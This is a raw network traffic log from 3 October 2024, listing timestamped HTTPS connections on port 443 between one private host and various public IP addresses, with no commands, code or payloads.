Oct 3, 2024 10:41:50.027124882 CEST	50098	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.027168036 CEST	443	50098	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:50.027225971 CEST	50098	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.027417898 CEST	50098	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.027435064 CEST	443	50098	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:50.032233000 CEST	50085	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.073272943 CEST	443	50087	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.073765039 CEST	50087	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.073776007 CEST	443	50087	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.074110985 CEST	443	50087	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.074450970 CEST	50087	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.074532032 CEST	443	50087	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.074603081 CEST	50087	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.083031893 CEST	443	50084	34.246.204.82	192.168.2.4
Oct 3, 2024 10:41:50.084748983 CEST	50084	443	192.168.2.4	34.246.204.82
Oct 3, 2024 10:41:50.084757090 CEST	443	50084	34.246.204.82	192.168.2.4
Oct 3, 2024 10:41:50.085932016 CEST	443	50084	34.246.204.82	192.168.2.4
Oct 3, 2024 10:41:50.085990906 CEST	50084	443	192.168.2.4	34.246.204.82
Oct 3, 2024 10:41:50.087769032 CEST	50084	443	192.168.2.4	34.246.204.82
Oct 3, 2024 10:41:50.087833881 CEST	443	50084	34.246.204.82	192.168.2.4
Oct 3, 2024 10:41:50.088305950 CEST	50084	443	192.168.2.4	34.246.204.82
Oct 3, 2024 10:41:50.088313103 CEST	443	50084	34.246.204.82	192.168.2.4
Oct 3, 2024 10:41:50.115391016 CEST	443	50087	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.117757082 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.117822886 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.117849112 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.117872000 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.117887020 CEST	50085	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.117894888 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.117918015 CEST	50085	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.117995977 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.118033886 CEST	50085	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.120970964 CEST	50085	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.120984077 CEST	443	50085	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.126538992 CEST	50100	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.126580954 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.126686096 CEST	50100	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.127034903 CEST	50100	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.127047062 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.200591087 CEST	50101	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.200634956 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.200763941 CEST	50101	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.201297045 CEST	50101	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.201308012 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.234901905 CEST	443	50088	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:50.235723019 CEST	50088	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:50.235752106 CEST	443	50088	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:50.236828089 CEST	443	50088	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:50.236890078 CEST	50088	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:50.237251997 CEST	50088	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:50.237306118 CEST	443	50088	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:50.237610102 CEST	50088	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:50.237620115 CEST	443	50088	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:50.240216017 CEST	50087	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.240292072 CEST	50084	443	192.168.2.4	34.246.204.82
Oct 3, 2024 10:41:50.287925005 CEST	443	50084	34.246.204.82	192.168.2.4
Oct 3, 2024 10:41:50.288021088 CEST	443	50084	34.246.204.82	192.168.2.4
Oct 3, 2024 10:41:50.288089991 CEST	50084	443	192.168.2.4	34.246.204.82
Oct 3, 2024 10:41:50.288891077 CEST	50084	443	192.168.2.4	34.246.204.82
Oct 3, 2024 10:41:50.288911104 CEST	443	50084	34.246.204.82	192.168.2.4
Oct 3, 2024 10:41:50.371623993 CEST	443	50087	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.371711016 CEST	443	50087	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.371918917 CEST	50087	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.373106003 CEST	50087	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.373123884 CEST	443	50087	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.438287020 CEST	50088	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:50.451340914 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.451642990 CEST	50090	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:50.451667070 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.452049017 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.452478886 CEST	50090	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:50.452550888 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.452637911 CEST	50090	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:50.475821018 CEST	443	50088	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:50.475904942 CEST	443	50088	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:50.475950956 CEST	50088	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:50.478717089 CEST	50088	443	192.168.2.4	185.64.191.210
Oct 3, 2024 10:41:50.478732109 CEST	443	50088	185.64.191.210	192.168.2.4
Oct 3, 2024 10:41:50.495409012 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.563690901 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.563719988 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.563777924 CEST	50090	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:50.563807964 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.563843012 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.563886881 CEST	50090	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:50.563894987 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.564275980 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.564318895 CEST	50090	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:50.564898014 CEST	50090	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:50.564923048 CEST	443	50090	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.568145990 CEST	443	50091	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.569516897 CEST	50091	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:50.569530964 CEST	443	50091	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.569885969 CEST	443	50091	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.574421883 CEST	50091	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:50.574556112 CEST	443	50091	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.574795008 CEST	50091	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:50.576224089 CEST	50102	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:50.576245070 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:50.576821089 CEST	50102	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:50.577052116 CEST	50102	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:50.577059984 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:50.578206062 CEST	50103	443	192.168.2.4	162.159.140.229
Oct 3, 2024 10:41:50.578246117 CEST	443	50103	162.159.140.229	192.168.2.4
Oct 3, 2024 10:41:50.578330040 CEST	50103	443	192.168.2.4	162.159.140.229
Oct 3, 2024 10:41:50.578521013 CEST	50103	443	192.168.2.4	162.159.140.229
Oct 3, 2024 10:41:50.578533888 CEST	443	50103	162.159.140.229	192.168.2.4
Oct 3, 2024 10:41:50.596316099 CEST	50104	443	192.168.2.4	104.244.42.195
Oct 3, 2024 10:41:50.596343994 CEST	443	50104	104.244.42.195	192.168.2.4
Oct 3, 2024 10:41:50.596564054 CEST	50104	443	192.168.2.4	104.244.42.195
Oct 3, 2024 10:41:50.596736908 CEST	50104	443	192.168.2.4	104.244.42.195
Oct 3, 2024 10:41:50.596749067 CEST	443	50104	104.244.42.195	192.168.2.4
Oct 3, 2024 10:41:50.597342968 CEST	50105	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.597364902 CEST	443	50105	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:50.597486973 CEST	50105	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.597552061 CEST	50106	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.597558975 CEST	443	50106	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:50.597632885 CEST	50106	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.597793102 CEST	50105	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.597804070 CEST	443	50105	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:50.597927094 CEST	50106	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.597948074 CEST	443	50106	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:50.599291086 CEST	443	50094	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.599464893 CEST	50094	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.599476099 CEST	443	50094	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.599839926 CEST	443	50094	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.600276947 CEST	443	50093	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.600317001 CEST	50094	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.600372076 CEST	443	50094	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.600707054 CEST	50093	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.600713015 CEST	443	50093	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.600773096 CEST	50094	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.601025105 CEST	443	50093	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.601572990 CEST	50093	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.601633072 CEST	443	50093	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.601840973 CEST	50093	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.615394115 CEST	443	50091	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.617938042 CEST	443	50095	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.618155003 CEST	50095	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:50.618164062 CEST	443	50095	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.618506908 CEST	443	50095	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.620351076 CEST	50095	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:50.620419025 CEST	443	50095	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.620488882 CEST	50095	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:50.643393993 CEST	443	50094	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.643742085 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.643979073 CEST	50097	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.643985987 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.644294977 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.644648075 CEST	50097	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.644692898 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.644789934 CEST	50097	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.647396088 CEST	443	50093	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.652414083 CEST	443	50098	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:50.652740955 CEST	50098	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.652746916 CEST	443	50098	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:50.653770924 CEST	443	50098	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:50.653826952 CEST	50098	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.655178070 CEST	50098	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.655247927 CEST	443	50098	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:50.655353069 CEST	50098	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.655359030 CEST	443	50098	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:50.660419941 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.660603046 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.660617113 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.661911964 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.661973000 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.662311077 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.662375927 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.662477016 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.667393923 CEST	443	50095	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.687398911 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.703396082 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.746754885 CEST	50093	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.746831894 CEST	50095	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:50.746835947 CEST	50098	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:50.747035980 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.747065067 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.765701056 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.765959024 CEST	50100	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.765978098 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.766390085 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.766681910 CEST	50100	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.766731977 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.766979933 CEST	50100	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.807393074 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.831409931 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.831672907 CEST	50101	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.831686974 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.832711935 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.832767010 CEST	50101	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.833158970 CEST	50101	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.833215952 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.833419085 CEST	50101	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.833425045 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.857513905 CEST	443	50091	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.857599020 CEST	443	50091	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.857645988 CEST	50091	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:50.860886097 CEST	50091	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:50.860899925 CEST	443	50091	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.874062061 CEST	50107	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:50.874105930 CEST	443	50107	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.874242067 CEST	50107	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:50.874511003 CEST	50107	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:50.874522924 CEST	443	50107	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:50.876765966 CEST	50108	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.876796007 CEST	443	50108	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.877068996 CEST	50108	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.877248049 CEST	50108	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.877259016 CEST	443	50108	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.891284943 CEST	443	50094	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.891743898 CEST	443	50094	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.892146111 CEST	50094	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.892146111 CEST	50094	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.894959927 CEST	443	50093	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.895032883 CEST	443	50093	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.895180941 CEST	50093	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.895869970 CEST	50093	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.895879984 CEST	443	50093	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.906729937 CEST	443	50095	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.906838894 CEST	443	50095	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.906886101 CEST	50095	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:50.907598019 CEST	50095	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:50.907608032 CEST	443	50095	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:50.909539938 CEST	50109	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.909574986 CEST	443	50109	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.909645081 CEST	50109	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.909848928 CEST	50109	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.909859896 CEST	443	50109	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.912503004 CEST	50110	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.912530899 CEST	443	50110	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.912585020 CEST	50110	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.912790060 CEST	50110	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:50.912798882 CEST	443	50110	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:50.938776970 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.939191103 CEST	50101	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.941358089 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.941405058 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.941457033 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.941487074 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.941503048 CEST	50097	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.941512108 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.941550016 CEST	50097	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.941704035 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.941742897 CEST	50097	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.941747904 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.941773891 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.941817999 CEST	50097	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.942486048 CEST	50097	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:50.942495108 CEST	443	50097	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:50.949561119 CEST	50112	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.949584007 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.949655056 CEST	50112	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.949836969 CEST	50112	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.949845076 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.961168051 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.961214066 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.961278915 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.961313009 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.961328030 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.961357117 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.961378098 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.961457014 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:50.961503029 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.962137938 CEST	50096	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:50.962156057 CEST	443	50096	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.037771940 CEST	443	50098	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.037842989 CEST	50098	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.037868977 CEST	443	50098	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.037947893 CEST	443	50098	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.037992954 CEST	50098	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.038877964 CEST	50098	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.038896084 CEST	443	50098	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.052112103 CEST	50113	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.052144051 CEST	443	50113	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.052323103 CEST	50113	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.052436113 CEST	50113	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.052445889 CEST	443	50113	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.057133913 CEST	443	50103	162.159.140.229	192.168.2.4
Oct 3, 2024 10:41:51.057320118 CEST	50103	443	192.168.2.4	162.159.140.229
Oct 3, 2024 10:41:51.057356119 CEST	443	50103	162.159.140.229	192.168.2.4
Oct 3, 2024 10:41:51.058363914 CEST	443	50103	162.159.140.229	192.168.2.4
Oct 3, 2024 10:41:51.058423996 CEST	50103	443	192.168.2.4	162.159.140.229
Oct 3, 2024 10:41:51.059467077 CEST	50103	443	192.168.2.4	162.159.140.229
Oct 3, 2024 10:41:51.059534073 CEST	443	50103	162.159.140.229	192.168.2.4
Oct 3, 2024 10:41:51.059708118 CEST	50103	443	192.168.2.4	162.159.140.229
Oct 3, 2024 10:41:51.059715986 CEST	443	50103	162.159.140.229	192.168.2.4
Oct 3, 2024 10:41:51.065099955 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.065149069 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.065176964 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.065207005 CEST	50100	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.065216064 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.065227032 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.065265894 CEST	50100	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.065404892 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.065448046 CEST	50100	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.066082001 CEST	50100	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.066097975 CEST	443	50100	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.072882891 CEST	50114	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.072917938 CEST	443	50114	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.072971106 CEST	50114	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.073170900 CEST	50114	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.073180914 CEST	443	50114	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.074711084 CEST	50115	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.074743986 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.074826002 CEST	50115	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.075016975 CEST	50115	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.075031996 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.116189003 CEST	443	50104	104.244.42.195	192.168.2.4
Oct 3, 2024 10:41:51.116446018 CEST	50104	443	192.168.2.4	104.244.42.195
Oct 3, 2024 10:41:51.116463900 CEST	443	50104	104.244.42.195	192.168.2.4
Oct 3, 2024 10:41:51.117543936 CEST	443	50104	104.244.42.195	192.168.2.4
Oct 3, 2024 10:41:51.117643118 CEST	50104	443	192.168.2.4	104.244.42.195
Oct 3, 2024 10:41:51.118870020 CEST	50104	443	192.168.2.4	104.244.42.195
Oct 3, 2024 10:41:51.118949890 CEST	443	50104	104.244.42.195	192.168.2.4
Oct 3, 2024 10:41:51.119079113 CEST	50104	443	192.168.2.4	104.244.42.195
Oct 3, 2024 10:41:51.126907110 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.126955986 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.126988888 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.127012014 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.127019882 CEST	50101	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.127034903 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.127057076 CEST	50101	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.136919022 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.137034893 CEST	50101	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.137377024 CEST	50101	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.137396097 CEST	443	50101	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.142318964 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:51.142816067 CEST	50102	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:51.142827988 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:51.143899918 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:51.144243956 CEST	50102	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:51.144318104 CEST	443	50102	150.171.27.10	192.168.2.4
